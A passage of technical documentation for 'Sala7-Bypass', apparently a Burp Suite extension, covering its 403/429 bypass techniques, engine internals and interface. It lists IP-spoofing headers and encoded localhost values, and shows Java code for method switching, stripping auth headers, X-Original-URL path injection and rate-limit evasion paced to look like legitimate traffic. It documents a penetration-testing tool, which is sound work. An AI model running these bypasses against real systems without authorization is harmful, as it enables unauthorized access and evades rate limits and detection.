"Real-Ip", "Redirect", "Referer", "Referrer", "Refferer",
"Request-Uri", "Uri", "Url", "X-Forward-For", "X-Forwarded-By",
"X-Forwarded-For-Original", "X-Forwarded-Server", "X-Forwarded",
"X-Forwarder-For", "X-Http-Destinationurl", "X-Proxy-Url",
"X-Remote-Addr", "Forwarded", "X-Cluster-Client-IP",
"CF-Connecting-IP", "True-Client-IP", "X-Coming-From",
"X-Proxy-User-Ip", "X-Remote-Ip"
};
Each header is paired with each IP value, creating a comprehensive test matrix that maximizes coverage across diverse server configurations.
3.3.1.3 IPv4/IPv6/Hex/Decimal IP Encoding
Sala7-Bypass tests multiple IP representations to bypass naive parsing implementations:
Table
| Representation | Example | Bypass Target |
|---|---|---|
| Standard dotted-decimal | 127.0.0.1 |
Baseline |
| Shortened | 127.1 |
Poor parsing (treated as 127.0.0.1) |
| Zero-padded octal | 0177.0.0.1 |
Octal interpretation (0177 = 127) |
| Hexadecimal octets | 0x7f.0x00.0x00.0x01 |
Hex parsing |
| Decimal integer | 2130706433 |
Integer IP representation |
| IPv6 mapped | ::ffff:127.0.0.1 |
IPv6 compatibility |
| IPv6 compressed | ::1 |
Standard IPv6 localhost |
The IP_VALUES array includes these variants to test parsing robustness:
"127.0.0.1", "127.0.0.2", "::1", "localhost", "0.0.0.0",
"0000:0000:0000:0000:0000:0000:0000:0001", "0x7f000001", "2130706433"
3.3.1.4 Custom IP Header Pool (40+ Headers)
The complete header pool exceeds 40 entries when considering all IP headers, port headers, scheme headers, URL headers, and method headers. The Payloads tab in the UI allows customization of this pool:
// From BypassExtensionUI.createPayloadsPanel()
private void loadDefaultPayloads() {
// IP headers × IP values
for (String header : ipHeaders) {
for (String ip : ipValues) {
payloadsModel.addRow(new Object[]{header, ip, Boolean.TRUE});
}
}
// Port headers × port values
String[] portHeaders = {"X-Forwarded-Port", "X-Port"};
String[] portValues = {"443", "4443", "80", "8080", "8443", "3000", "5000", "8000"};
// Scheme headers × scheme values
String[] schemeHeaders = {"X-Forwarded-Scheme", "X-Scheme", "X-Forwarded-Proto"};
String[] schemeValues = {"http", "https"};
// URL headers × URL values
String[] urlHeaders = {"X-Original-URL", "X-Rewrite-URL", "X-Forwarded-Path", "X-Request-URI"};
String[] urlValues = {"/", "/admin", "/api", "/api/v1", "/api/v2", "/api/v3", "/api/v4"};
// Method headers × method values
String[] methodHeaders = {"X-HTTP-Method-Override", "X-Method-Override"};
String[] methodValues = {"GET", "POST", "PUT", "DELETE", "PATCH", "OPTIONS", "HEAD", "TRACE"};
}
This comprehensive pool enables testing of header injection vectors beyond simple IP spoofing, including port manipulation, scheme override, and path rewriting.
3.3.2 HTTP Method Switching
HTTP method switching exploits implementations where access control decisions are bound to specific HTTP methods while the underlying resource handler processes multiple methods. This vulnerability class is particularly prevalent in REST API implementations where framework-level routing enforces method constraints but custom access control logic checks only specific methods.
3.3.2.1 GET to POST Conversion with Parameter Migration
The RequestModifier.switchMethod() method handles GET-to-POST conversion:
public static HttpRequest switchMethod(HttpRequest request) {
String method = request.method();
if (method.equalsIgnoreCase("GET")) {
return convertGetToPost(request);
} else if (method.equalsIgnoreCase("POST")) {
return convertPostToGet(request);
}
return request;
}
The convertGetToPost() implementation extracts URL parameters and migrates them to the request body:
private static HttpRequest convertGetToPost(HttpRequest request) {
List<ParsedHttpParameter> urlParams = request.parameters().stream()
.filter(p -> p.type() == HttpParameterType.URL)
.collect(Collectors.toList());
StringBuilder body = new StringBuilder();
for (int i = 0; i < urlParams.size(); i++) {
ParsedHttpParameter param = urlParams.get(i);
if (i > 0) body.append("&");
body.append(urlEncode(param.name())).append("=").append(urlEncode(param.value()));
}
HttpRequest modified = request;
String url = request.url();
if (url.contains("?")) {
url = url.substring(0, url.indexOf("?"));
modified = modified.withPath(url);
}
modified = modified.withMethod("POST");
if (body.length() > 0) {
modified = modified.withBody(body.toString());
if (!hasHeader(modified, "Content-Type")) {
modified = modified.withAddedHeader("Content-Type", "application/x-www-form-urlencoded");
}
}
return modified;
}
This migration preserves parameter semantics while changing the HTTP method, enabling bypass of method-specific access controls that do not inspect the request body.
3.3.2.2 POST to GET Conversion with Query String Building
The reverse conversion migrates body parameters to the URL query string:
private static HttpRequest convertPostToGet(HttpRequest request) {
List<ParsedHttpParameter> bodyParams = request.parameters().stream()
.filter(p -> p.type() == HttpParameterType.BODY)
.collect(Collectors.toList());
StringBuilder queryString = new StringBuilder();
for (int i = 0; i < bodyParams.size(); i++) {
ParsedHttpParameter param = bodyParams.get(i);
if (i > 0) queryString.append("&");
queryString.append(urlEncode(param.name())).append("=").append(urlEncode(param.value()));
}
HttpRequest modified = request.withMethod("GET");
if (queryString.length() > 0) {
String url = modified.url();
String separator = url.contains("?") ? "&" : "?";
modified = modified.withPath(url + separator + queryString);
}
modified = modified.withBody("");
modified = removeHeader(modified, "Content-Type");
return modified;
}
This conversion is particularly effective against APIs that enforce body size limits or content-type restrictions on POST requests but not GET requests.
3.3.2.3 Content-Type Header Management
Method switching requires careful content-type handling to ensure server-side parsing compatibility:
// GET→POST: Add Content-Type if body present
if (!hasHeader(modified, "Content-Type")) {
modified = modified.withAddedHeader("Content-Type", "application/x-www-form-urlencoded");
}
// POST→GET: Remove Content-Type (GET has no body)
modified = removeHeader(modified, "Content-Type");
The hasHeader() helper checks for header presence:
private static boolean hasHeader(HttpRequest request, String headerName) {
return request.headers().stream()
.anyMatch(h -> h.name().equalsIgnoreCase(headerName));
}
3.3.3 Authentication Header Removal
Authentication header removal tests the security boundary assumption that authentication is strictly required. Many applications implement “fail-open” behaviors where missing authentication results in default access levels rather than explicit denial—a logic flaw that complete auth removal can reveal.
3.3.3.1 Cookie Header Stripping
Cookie removal is controlled by the removeCookie boolean flag:
if (removeAuth) {
if (removeCookie) {
modifiedRequest = RequestModifier.removeHeader(modifiedRequest, "Cookie");
wasModified = true;
modifications.add("REMOVE_COOKIE");
}
}
The removeHeader() method leverages Montoya API’s immutable transformation:
public static HttpRequest removeHeader(HttpRequest request, String headerName) {
return request.withRemovedHeader(headerName);
}
This removes all Cookie headers, testing whether the application falls back to unauthenticated access or session-less processing.
3.3.3.2 Authorization Header Removal
Authorization header removal targets Bearer token, Basic auth, and custom authorization schemes:
if (removeAuthorization) {
modifiedRequest = RequestModifier.removeHeader(modifiedRequest, "Authorization");
wasModified = true;
modifications.add("REMOVE_AUTH");
}
This tests APIs that may have legacy fallback mechanisms or public endpoints mistakenly protected by middleware.
3.3.3.3 Selective vs Complete Auth Removal
The UI provides independent toggles for Cookie and Authorization removal:
chkRemoveCookie = new JCheckBox("Remove Cookie Header");
chkRemoveAuthorization = new JCheckBox("Remove Authorization Header");
This selectivity enables targeted testing: removing only Authorization to test token-based APIs, only Cookie to test session-based applications, or both for comprehensive testing.
3.3.4 Path-Based Bypass
Path-based bypass exploits discrepancies between the URL path used for routing and the path used for access control decisions. This vulnerability class is common in applications using reverse proxies or API gateways where path rewriting occurs.
3.3.4.1 X-Original-URL Injection
The X-Original-URL header is processed by some reverse proxies (particularly older Nginx configurations) as an alternative path specification:
headersList.add(Map.of("X-Original-URL", "/"));
headersList.add(Map.of("X-Rewrite-URL", "/"));
When the proxy routes based on the actual request path but the application authorizes based on X-Original-URL, injecting an allowed path (e.g., /) while requesting a blocked path (e.g., /admin) can bypass restrictions.
3.3.4.2 X-Rewrite-URL Manipulation
X-Rewrite-URL serves a similar function in some Ruby on Rails and PHP applications:
headersList.add(Map.of("X-Rewrite-URL", "/"));
Both headers are included in the bypass pool, with the actual request path remaining the target endpoint while the header suggests an allowed path.
3.3.5 Rate Limiting Bypass
Rate limiting bypass targets implementations that track request rates using client-controllable identifiers rather than server-side session or connection state.
3.3.5.1 IP Rotation Strategies
The primary rate limiting bypass strategy rotates X-Forwarded-For values to present a different client identity for each request:
// In attemptBypass()
for (Map<String, String> headers : headerSets) {
// Each header set may contain different X-Forwarded-For values
HttpRequest bypassRequest = originalRequest;
for (Map.Entry<String, String> header : headers.entrySet()) {
bypassRequest = bypassRequest.withAddedHeader(header.getKey(), header.getValue());
}
// ... send request ...
}
The IP pool includes sufficient diversity (8+ IP representations) to exhaust typical per-IP rate limits when combined with maxRetries (default 3) and threadCount (default 5).
3.3.5.2 Distributed Request Patterns
The requestDelay configuration enables deliberate pacing to avoid pattern detection:
if (requestDelay > 0) {
try {
Thread.sleep(requestDelay);
} catch (InterruptedException e) {
Thread.currentThread().interrupt();
return;
}
}
Combined with concurrent threads, this creates distributed request patterns that mimic legitimate multi-user traffic rather than sequential brute-force attempts.
3.3.6 Combined Attack Vectors
Combined attack vectors apply multiple bypass techniques simultaneously, targeting applications with layered but independently flawed access controls.
3.3.6.1 Multi-Technique Orchestration
The bypass attempt pipeline supports combined technique application:
// In attemptBypass()
HttpRequest bypassRequest = originalRequest;
bypassRequest = RequestModifier.removeHeader(bypassRequest, LOOP_HEADER);
// Add bypass headers
for (Map.Entry<String, String> header : headers.entrySet()) {
bypassRequest = bypassRequest.withAddedHeader(header.getKey(), header.getValue());
}
// Apply method switch
if (bypassApplyMethodSwitch) {
HttpRequest switched = RequestModifier.switchMethod(bypassRequest);
if (!switched.method().equals(bypassRequest.method())) {
bypassRequest = switched;
methodWasSwitched = true;
}
}
// Apply auth removal
if (bypassApplyAuthRemoval) {
if (removeCookie) {
bypassRequest = RequestModifier.removeHeader(bypassRequest, "Cookie");
authWasRemoved = true;
}
if (removeAuthorization) {
bypassRequest = RequestModifier.removeHeader(bypassRequest, "Authorization");
authWasRemoved = true;
}
}
3.3.6.2 Intelligent Technique Selection
The determineBypassType() method classifies successful bypasses by technique:
private String determineBypassType(LogEntry entry) {
List<String> mods = entry.getModifications();
boolean hasMethodSwitch = mods.stream().anyMatch(m -> m.startsWith("METHOD_SWITCH"));
boolean hasAuthRemoval = mods.contains("REMOVE_COOKIE") || mods.contains("REMOVE_AUTH");
if (hasMethodSwitch && hasAuthRemoval) return "COMBINED";
else if (hasMethodSwitch) return "METHOD";
else if (hasAuthRemoval) return "AUTH";
// ...
}
This classification enables per-technique statistics and targeted reporting, distinguishing between single-technique successes and combined vector exploitation.
4. Advanced Engine Components
4.1 Bypass Engine (BypassEngine.java)
The BypassEngine class encapsulates the stateful decision logic that prevents redundant processing, enforces resource limits, and memoizes successful bypass discoveries. Operating as a dedicated state management layer, it isolates mutable state from the request interception and response analysis components, ensuring that concurrent request processing remains deterministic and bounded.
The engine’s design reflects the operational reality of penetration testing: a single target endpoint may generate hundreds of requests during reconnaissance, and each request may trigger multiple bypass attempts. Without deduplication, rate limiting, and success memoization, the extension would generate exponential request volumes, overwhelming both the target server and Burp’s own processing capacity.
4.1.1 Request Hashing & Deduplication
Request hashing serves as the fundamental primitive for all engine operations: deduplication, retry tracking, and success memoization all depend on a deterministic, collision-resistant identifier that uniquely represents a request’s structural characteristics.
Hash Construction
The hashRequest() method constructs a composite string incorporating three request attributes:
java Copy
public String hashRequest(HttpRequest request) {
return request.method() + "|" + request.url() + "|" + request.bodyToString().hashCode();
}
Table
| Component | Purpose | Collision Risk |
|---|---|---|
request.method() |
Distinguishes GET/POST/PUT/DELETE bypasses | None (finite set) |
request.url() |
Distinguishes endpoints | Low (URL includes path + query) |
request.bodyToString().hashCode() |
Distinguishes parameter variations | Medium (hashCode() is 32-bit) |
The String.hashCode() implementation for the body content provides a fast but non-cryptographic hash. The 32-bit output space (2^32 ≈ 4.3 billion) presents theoretical collision probability, but in practice, distinct request bodies producing identical hash codes within a single testing session is negligible for penetration testing purposes. Future enhancements could substitute MessageDigest.getInstance("SHA-256") for cryptographic collision resistance at the cost of computational overhead.
Deduplication Storage
The processedRequests field provides set-based deduplication:
private final Set<String> processedRequests; // ConcurrentHashMap.newKeySet()
public boolean isProcessed(String requestHash) {
return processedRequests.contains(requestHash);
}
public void markProcessed(String requestHash) {
processedRequests.add(requestHash);
}
The ConcurrentHashMap.newKeySet() implementation provides lock-free, thread-safe set operations with the same concurrency characteristics as ConcurrentHashMap. This is critical because markProcessed() is called from Burp’s HTTP dispatcher threads (synchronous) while isProcessed() may be queried from bypass worker threads (asynchronous).
Deduplication Scope and Limitations
The current deduplication is session-scoped: the processedRequests set is cleared only when the extension is unloaded or Burp restarts. This design choice reflects the testing workflow where repeated identical requests during a session should not trigger redundant bypass attempts. However, it introduces a memory growth consideration: each unique request hash consumes approximately 50-100 bytes (string object overhead), and testing sessions with 10,000+ unique endpoints would consume ~1MB of heap—acceptable within Burp’s typical 1-4GB allocation.
Deduplication Timing
The deduplication check occurs in triggerBypassAttempts():
private void triggerBypassAttempts(HttpRequest request, HttpResponse response, int statusCode) {
if (!hasLoopHeader(request)) {
String hash = bypassEngine.hashRequest(request);
if (bypassEngine.shouldBypass(hash, maxRetries)) {
bypassEngine.markProcessed(hash);
executorService.submit(() -> attemptBypass(request, response, statusCode, hash));
}
}
}
The markProcessed() call occurs before executorService.submit(), ensuring that even if multiple threads simultaneously process responses for the same request (possible with HTTP/2 multiplexing or proxy retry logic), only one bypass attempt sequence is initiated. The atomicity of ConcurrentHashMap.add() guarantees this even under race conditions.
4.1.2 Retry Counting & Limit Enforcement
Retry tracking prevents infinite bypass loops while enabling thorough testing of multi-vector bypass scenarios. Each unique request hash maintains an independent retry counter, incremented with each bypass attempt and capped by the configurable maxRetries parameter.
Retry Storage
The retryCount map maintains atomic integer counters:
private final Map<String, Integer> retryCount; // ConcurrentHashMap
public int getRetryCount(String requestHash) {
return retryCount.getOrDefault(requestHash, 0);
}
public void incrementRetry(String requestHash) {
retryCount.merge(requestHash, 1, Integer::sum);
}
public void resetRetry(String requestHash) {
retryCount.remove(requestHash);
processedRequests.remove(requestHash);
}
The ConcurrentHashMap.merge() method provides atomic read-modify-write semantics: retryCount.merge(requestHash, 1, Integer::sum) atomically retrieves the current value, applies the sum function, and stores the result. This eliminates the classic get-then-put race condition where two threads read the same value, increment locally, and overwrite each other’s increments.
Retry Limit Enforcement
The shouldBypass() method implements the retry limit gate:
public boolean shouldBypass(String requestHash, int maxRetries) {
// If we already succeeded, no need to retry
if (hasSuccess(requestHash)) {
return false;
}
// If we've reached max retries
if (getRetryCount(requestHash) >= maxRetries) {
return false;
}
return true;
}
This method is called synchronously in triggerBypassAttempts(), making the retry check atomic with respect to the current request processing. However, the incrementRetry() call occurs asynchronously in attemptBypass() after a bypass attempt completes:
// In attemptBypass()
for (Map<String, String> headers : headerSets) {
if (attempts >= maxRetries) break;
if (autoStopOnSuccess && bypassEngine.hasSuccess(requestHash)) break;
// ... perform bypass attempt ...
bypassEngine.incrementRetry(requestHash);
attempts++;
}
This timing creates a potential race condition: if two bypass worker threads process attempts for the same request hash concurrently (possible with rapid repeated requests), both may pass the shouldBypass() check before either increments the counter. The maxRetries limit may be exceeded by the number of concurrent threads. This is architecturally accepted: the limit represents a “soft” bound rather than a hard guarantee, prioritizing thorough testing over strict enforcement.
Retry Counter Reset
The resetRetry() method provides manual reset capability:
public void resetRetry(String requestHash) {
retryCount.remove(requestHash);
processedRequests.remove(requestHash);
}
This is currently unused in the main flow but provides a hook for future UI features (e.g., “Reset bypass attempts for this URL”) or programmatic reset in testing scenarios.
4.1.3 Success Tracking & Auto-Stop Logic
Success memoization prevents redundant bypass attempts after a successful bypass has been discovered for a given request. This optimization is critical for efficiency: once X-Forwarded-For: 127.0.0.1 bypasses /admin/dashboard, subsequent identical requests need not waste server resources or testing time on repeated attempts.
Success Storage
The successMap provides boolean memoization:
private final Map<String, Boolean> successMap; // ConcurrentHashMap
public boolean hasSuccess(String requestHash) {
return successMap.getOrDefault(requestHash, false);
}
public void markSuccess(String requestHash) {
successMap.put(requestHash, true);
}
Auto-Stop Implementation
The autoStopOnSuccess configuration (controlled via UI checkbox) enables early termination of bypass attempt loops:
// In attemptBypass()
for (Map<String, String> headers : headerSets) {
if (attempts >= maxRetries) break;
// Early termination if success found and auto-stop enabled
if (autoStopOnSuccess && bypassEngine.hasSuccess(requestHash)) {
break;
}
// ... perform bypass attempt ...
if (isRealBypass) {
bypassEngine.markSuccess(requestHash);
if (autoStopOnSuccess) break;
}
bypassEngine.incrementRetry(requestHash);
attempts++;
}
The dual autoStopOnSuccess checks—one at loop start and one after success detection—ensure prompt termination regardless of where the success occurs in the header iteration sequence.
Success Persistence
Success state is session-scoped, identical to deduplication state. This means that if a bypass succeeds, is reported, and the tester modifies the target application (e.g., patches the vulnerability), the extension will not retest that request hash until Burp restarts. A “Clear Success State” UI feature would address this limitation but is not currently implemented.
4.1.4 Thread Pool Management
The ExecutorService in BurpExtender manages asynchronous bypass attempt execution, isolating potentially slow network operations from Burp’s synchronous HTTP dispatcher threads.
Pool Configuration
The thread pool is initialized with a configurable fixed size:
private ExecutorService executorService;
// Initialization
this.executorService = Executors.newFixedThreadPool(threadCount);
// Default
private volatile int threadCount = 5;
The Executors.newFixedThreadPool() implementation creates an unbounded work queue (LinkedBlockingQueue) with the specified number of worker threads. This means:
- If 100 requests trigger bypass attempts simultaneously, all 100 tasks are queued
- Only
threadCounttasks execute concurrently - Remaining tasks wait in the queue until a worker thread becomes available
This queuing behavior prevents resource exhaustion but introduces latency: the 100th queued bypass attempt may not execute for several seconds if earlier attempts are slow. For penetration testing scenarios, this latency is generally acceptable; for high-volume automated scanning, it may delay bypass discovery.
Dynamic Reconfiguration
The setThreadCount() method provides dynamic reconfiguration with graceful shutdown:
public void setThreadCount(int threadCount) {
this.threadCount = threadCount;
if (executorService != null && !executorService.isShutdown()) {
executorService.shutdown();
try {
if (!executorService.awaitTermination(5, TimeUnit.SECONDS)) {
executorService.shutdownNow();
}
} catch (InterruptedException e) {
executorService.shutdownNow();
Thread.currentThread().interrupt();
}
}
executorService = Executors.newFixedThreadPool(threadCount);
}
The shutdown sequence implements the standard Java executor lifecycle:
shutdown(): Initiates graceful shutdown, rejecting new tasks but completing queued tasksawaitTermination(5, SECONDS): Waits up to 5 seconds for queued tasks to completeshutdownNow(): Forcefully interrupts running tasks and returns unexecuted tasks
The Thread.currentThread().interrupt() call preserves the interrupt status for calling code, enabling proper interrupt propagation up the call stack.
Thread Safety of Bypass Attempts
Each bypass attempt executes in an independent worker thread, with thread safety ensured through:
Table
| Resource | Thread Safety Mechanism |
|---|---|
logEntries |
CopyOnWriteArrayList |
pendingEntries/pendingEntryIndex |
ConcurrentHashMap operations |
bypassEngine state |
ConcurrentHashMap operations |
api.http().sendRequest() |
Montoya API thread-safe |
ui.updateStats() |
SwingUtilities.invokeLater() |
The attemptBypass() method creates a new LogEntry for each bypass attempt and adds it to logEntries via ui.logEntry(), which internally uses SwingUtilities.invokeLater(). This ensures that UI updates (table insertion, statistics recalculation) occur on the EDT even when triggered from worker threads.
4.2 Request Modifier (RequestModifier.java)
The RequestModifier class implements pure, stateless functions for HTTP request transformation. Designed as a utility class with a private constructor, it provides atomic operations that compose into complex transformations through method chaining.
4.2.1 URL Parameter Encoding
Parameter encoding ensures that migrated parameters (from URL to body or body to URL) remain semantically equivalent and syntactically valid after transformation.
Encoding Implementation
The urlEncode() method wraps Java’s standard URLEncoder:
private static String urlEncode(String value) {
try {
return java.net.URLEncoder.encode(value, "UTF-8");
} catch (Exception e) {
return value;
}
}
This implementation encodes:
- Space →
+(application/x-www-form-urlencoded convention) - Special characters →
%XXhex sequences - Non-ASCII → UTF-8 byte sequences as
%XX%YY
The catch block returns the unencoded value on exception—a defensive fallback that preserves data at the cost of potential syntax errors in the transformed request.
Encoding Scope
Encoding is applied during both GET→POST and POST→GET migrations:
// GET→POST: URL parameters → body
body.append(urlEncode(param.name())).append("=").append(urlEncode(param.value()));
// POST→GET: Body parameters → URL query string
queryString.append(urlEncode(param.name())).append("=").append(urlEncode(param.value()));
This ensures that parameters containing spaces, ampersands, equals signs, or Unicode characters are correctly represented in their new location.
4.2.2 Body to Query String Conversion
The POST→GET conversion migrates body parameters to the URL query string, reversing the typical GET→POST direction.
Conversion Logic
private static HttpRequest convertPostToGet(HttpRequest request) {
List<ParsedHttpParameter> bodyParams = request.parameters().stream()
.filter(p -> p.type() == HttpParameterType.BODY)
.collect(Collectors.toList());
StringBuilder queryString = new StringBuilder();
for (int i = 0; i < bodyParams.size(); i++) {
ParsedHttpParameter param = bodyParams.get(i);
if (i > 0) queryString.append("&");
queryString.append(urlEncode(param.name())).append("=").append(urlEncode(param.value()));
}
HttpRequest modified = request.withMethod("GET");
if (queryString.length() > 0) {
String url = modified.url();
String separator = url.contains("?") ? "&" : "?";
modified = modified.withPath(url + separator + queryString);
}
modified = modified.withBody("");
modified = removeHeader(modified, "Content-Type");
return modified;
}
Key Implementation Details
Table
| Aspect | Implementation | Rationale |
|---|---|---|
| Parameter source | HttpParameterType.BODY |
Montoya API distinguishes URL vs body parameters |
| Query separator | ? for first param, & for subsequent |
Standard URL syntax |
| Body clearing | withBody("") |
GET requests should not have bodies per HTTP/1.1 RFC 7231 |
| Content-Type removal | removeHeader("Content-Type") |
GET requests typically omit Content-Type |
The withPath(url + separator + queryString) call modifies the request path, which Montoya interprets as the complete request target including query string. This is distinct from withUrl(), which would replace the entire URL including host and scheme.
4.2.3 Header Addition/Removal Primitives
The header manipulation primitives provide the foundation for all header-based bypass techniques.
Header Removal
public static HttpRequest removeHeader(HttpRequest request, String headerName) {
return request.withRemovedHeader(headerName);
}
The withRemovedHeader() method removes all headers matching the specified name, case-insensitively. This is critical for correct operation: HTTP header names are case-insensitive per RFC 7230, and applications may use Cookie, cookie, or COOKIE interchangeably.
Header Presence Check
private static boolean hasHeader(HttpRequest request, String headerName) {
return request.headers().stream()
.anyMatch(h -> h.name().equalsIgnoreCase(headerName));
}
This check is used during GET→POST conversion to determine whether Content-Type should be added:
if (!hasHeader(modified, "Content-Type")) {
modified = modified.withAddedHeader("Content-Type", "application/x-www-form-urlencoded");
}
Method Switching Composition
The switchMethod() method composes the conversion primitives:
public static HttpRequest switchMethod(HttpRequest request) {
String method = request.method();
if (method.equalsIgnoreCase("GET")) {
return convertGetToPost(request);
} else if (method.equalsIgnoreCase("POST")) {
return convertPostToGet(request);
}
return request;
}
The method returns the unmodified request for non-GET/POST methods (PUT, DELETE, PATCH, etc.), as these methods typically do not exhibit the GET/POST access control discrepancies that the technique targets.
4.3 Loop Prevention System
The loop prevention system prevents infinite request recursion that would occur if bypass attempts triggered additional bypass attempts, which trigger additional bypass attempts, ad infinitum. This is not merely a theoretical concern: Burp’s HTTP handler captures all HTTP traffic, including traffic generated by api.http().sendRequest() calls within the extension itself.
4.3.1 X-Burp-Processed Header Injection
The loop prevention mechanism injects a sentinel header into all modified requests:
public static final String LOOP_HEADER = "X-Burp-Processed";
public static final String LOOP_VALUE = "true";
This header serves as a marker that the request has already been processed by Sala7-Bypass and should not be re-processed if it re-enters the HTTP handler.
Injection Point
The header is injected in handleHttpRequestToBeSent():
if (loopPrevention) {
modifiedRequest = modifiedRequest.withAddedHeader(LOOP_HEADER, LOOP_VALUE);
}
This injection occurs before any other modifications (method switching, auth removal), ensuring that even if a subsequent transformation generates a new request object, the loop header is present.
Detection Point
The header is checked at multiple points:
// In handleHttpRequestToBeSent()
if (loopPrevention && hasLoopHeader(requestToBeSent)) {
return RequestToBeSentAction.continueWith(requestToBeSent);
}
// In triggerBypassAttempts()
if (!hasLoopHeader(request)) {
String hash = bypassEngine.hashRequest(request);
// ... trigger bypass ...
}
The early-exit in handleHttpRequestToBeSent() prevents re-processing of requests that already bear the marker. The check in triggerBypassAttempts() prevents bypass attempts on requests that were themselves generated as bypass attempts.
Header Removal in Bypass Attempts
Paradoxically, bypass attempts must remove the loop header before sending:
// In attemptBypass()
HttpRequest bypassRequest = originalRequest;
bypassRequest = RequestModifier.removeHeader(bypassRequest, LOOP_HEADER);
This removal is necessary because the bypass request is sent through api.http().sendRequest(), which routes through Burp’s HTTP stack and would be intercepted by handleHttpRequestToBeSent() if the header were present. The removal ensures the bypass request is treated as a fresh request, subject to normal processing (including re-injection of the loop header if it passes through the handler again).
4.3.2 Infinite Loop Detection
Beyond the loop header, the BypassEngine provides secondary loop detection through deduplication:
// In triggerBypassAttempts()
String hash = bypassEngine.hashRequest(request);
if (bypassEngine.shouldBypass(hash, maxRetries)) {
bypassEngine.markProcessed(hash);
// ... submit bypass attempt ...
}
If a bypass attempt somehow generates a request identical to one already processed (same method, URL, and body hash), the deduplication mechanism prevents re-triggering. This provides defense-in-depth against loop scenarios not caught by the header mechanism.
4.3.3 Request Chain Tracking
The current implementation provides single-generation loop prevention: a request processed by Sala7-Bypass is marked and not re-processed. However, it does not track multi-generation chains (request A triggers bypass B, which triggers bypass C). Such chains are theoretically possible if:
- A bypass attempt succeeds (200 response) but the response triggers another condition that Sala7-Bypass monitors
- A bypass attempt fails with a different blocking code (e.g., 403 bypass attempt returns 401, triggering auth bypass attempts)
The current architecture prevents multi-generation chains through two mechanisms:
- The loop header is removed from bypass attempts, but any subsequent request generated by the application (e.g., redirect following, AJAX requests) would not bear the header and could be processed
- The
shouldBypass()check limits retries per hash, bounding total attempts regardless of chain depth
Future enhancements could implement explicit chain tracking through a Map<String, Integer> tracking generation depth, with configurable maximum chain length.
5. User Interface & Experience
5.1 Tabbed Interface Design
Sala7-Bypass implements a five-tab interface within Burp Suite’s tabbed panel architecture, providing functional compartmentalization that mirrors the extension’s operational workflow: configuration, monitoring, advanced tuning, payload management, and attribution. The tabbed design follows Swing’s JTabbedPane component, integrated into Burp’s native UI through the Montoya API’s registerSuiteTab() method.
The interface initialization occurs on the Event Dispatch Thread (EDT), preventing UI construction from blocking Burp’s extension loading sequence:
SwingUtilities.invokeLater(() -> {
ui = new BypassExtensionUI(this);
api.userInterface().registerSuiteTab("Sala7-Bypass", ui.getUIComponent());
});
This EDT invocation is critical: Burp’s initialize() method executes on a background thread, and direct Swing component construction from non-EDT threads produces undefined behavior ranging from layout corruption to deadlock.
5.1.1 Controls Tab: Master Configuration
The Controls Tab serves as the primary configuration interface, organizing settings into four functional panels using GridBagLayout with TitledBorder groupings. This layout provides responsive resizing while maintaining visual hierarchy.
Master Controls Panel
JPanel masterPanel = new JPanel(new GridLayout(0, 2, 10, 5));
masterPanel.setBorder(new TitledBorder("Master Controls"));
chkEnabled = new JCheckBox("Extension Enabled", true);
chkScopeOnly = new JCheckBox("Process In-Scope Only", true);
chkLoopPrevention = new JCheckBox("Loop Prevention (X-Burp-Processed)", true);
chkDarkMode = new JCheckBox("Dark Mode", true);
Each checkbox binds directly to BurpExtender state through action listeners:
chkEnabled.addActionListener(e -> extender.setExtensionEnabled(chkEnabled.isSelected()));
chkScopeOnly.addActionListener(e -> extender.setScopeOnly(chkScopeOnly.isSelected()));
chkLoopPrevention.addActionListener(e -> extender.setLoopPrevention(chkLoopPrevention.isSelected()));
chkDarkMode.addActionListener(e -> {
if (chkDarkMode.isSelected()) applyDarkTheme();
else applyLightTheme();
});
The immediate state synchronization (no apply button required) reflects the penetration testing workflow where rapid configuration changes are common. The volatile modifier on BurpExtender fields ensures visibility across threads:
private volatile boolean extensionEnabled = true;
private volatile boolean scopeOnly = true;
private volatile boolean loopPrevention = true;
Request Modification Panel
JPanel modPanel = new JPanel(new GridLayout(0, 2, 10, 5));
modPanel.setBorder(new TitledBorder("Request Modification"));
chkMethodSwitch = new JCheckBox("Switch GET <-> POST");
chkRemoveAuth = new JCheckBox("Remove Authentication");
chkRemoveCookie = new JCheckBox("Remove Cookie Header");
chkRemoveAuthorization = new JCheckBox("Remove Authorization Header");
The hierarchical relationship between chkRemoveAuth and its subordinates (chkRemoveCookie, chkRemoveAuthorization) is implicit: chkRemoveAuth must be selected for the subordinate checkboxes to have effect, but the UI does not enforce this visually (no grey-out behavior). This design choice prioritizes flexibility over strict validation, allowing testers to pre-configure subordinate settings before enabling the parent toggle.
403/429 Bypass Engine Panel
JPanel bypassPanel = new JPanel(new GridLayout(0, 2, 10, 5));
bypassPanel.setBorder(new TitledBorder("403/429 Bypass Engine"));
chkDetect403 = new JCheckBox("Detect 403/429 Responses", true);
chkBypassHeaders = new JCheckBox("Inject Bypass Headers", true);
chkSingleBypass = new JCheckBox("Single Header Mode (vs Multiple)");
JSpinner spnMaxRetries = new JSpinner(new SpinnerNumberModel(3, 1, 20, 1));
The SpinnerNumberModel(3, 1, 20, 1) constrains retry counts to 1-20 with step size 1, preventing configuration errors that could generate excessive traffic. The JSpinner component provides both direct text entry and increment/decrement buttons, accommodating rapid adjustment during testing.
Filtering Options Panel
JPanel filterPanel = new JPanel(new GridLayout(0, 2, 10, 5));
filterPanel.setBorder(new TitledBorder("Filtering Options"));
chkAuthFilter = new JCheckBox("Auth-Based Filter (Cookie/Authorization)");
chkStatusFilter = new JCheckBox("HTTP Status Filter (200/302/403)");
chkContentTypeFilter = new JCheckBox("Content-Type Filter");
JComboBox<String> cmbContentType = new JComboBox<>(new String[]{"all", "json", "form-data"});
The JComboBox provides three content-type filter options, with “all” as default. The matchesContentType() method in BurpExtender implements the filtering logic:
private boolean matchesContentType(HttpRequest request) {
if (allowedContentType.equals("all")) return true;
String contentType = request.headers().stream()
.filter(h -> h.name().equalsIgnoreCase("Content-Type"))
.findFirst()
.map(h -> h.value().toLowerCase())
.orElse("");
return switch (allowedContentType) {
case "json" -> contentType.contains("application/json");
case "form-data" -> contentType.contains("multipart/form-data") ||
contentType.contains("application/x-www-form-urlencoded");
default -> true;
};
}
The switch expression (Java 14+ feature) provides clean mapping between UI selection and filter logic.
5.1.2 Live Logs Tab: Real-Time Monitoring
The Live Logs Tab provides the operational heart of Sala7-Bypass, displaying intercepted requests, their modifications, responses, and bypass classifications in a continuously updating table. The tab implements a split-pane layout with the log table occupying the upper 70% and a detail text area the lower 30%.
Table Construction
logTableModel = new LogTableModel();
logTable = new JTable(logTableModel);
logTable.setFillsViewportHeight(true);
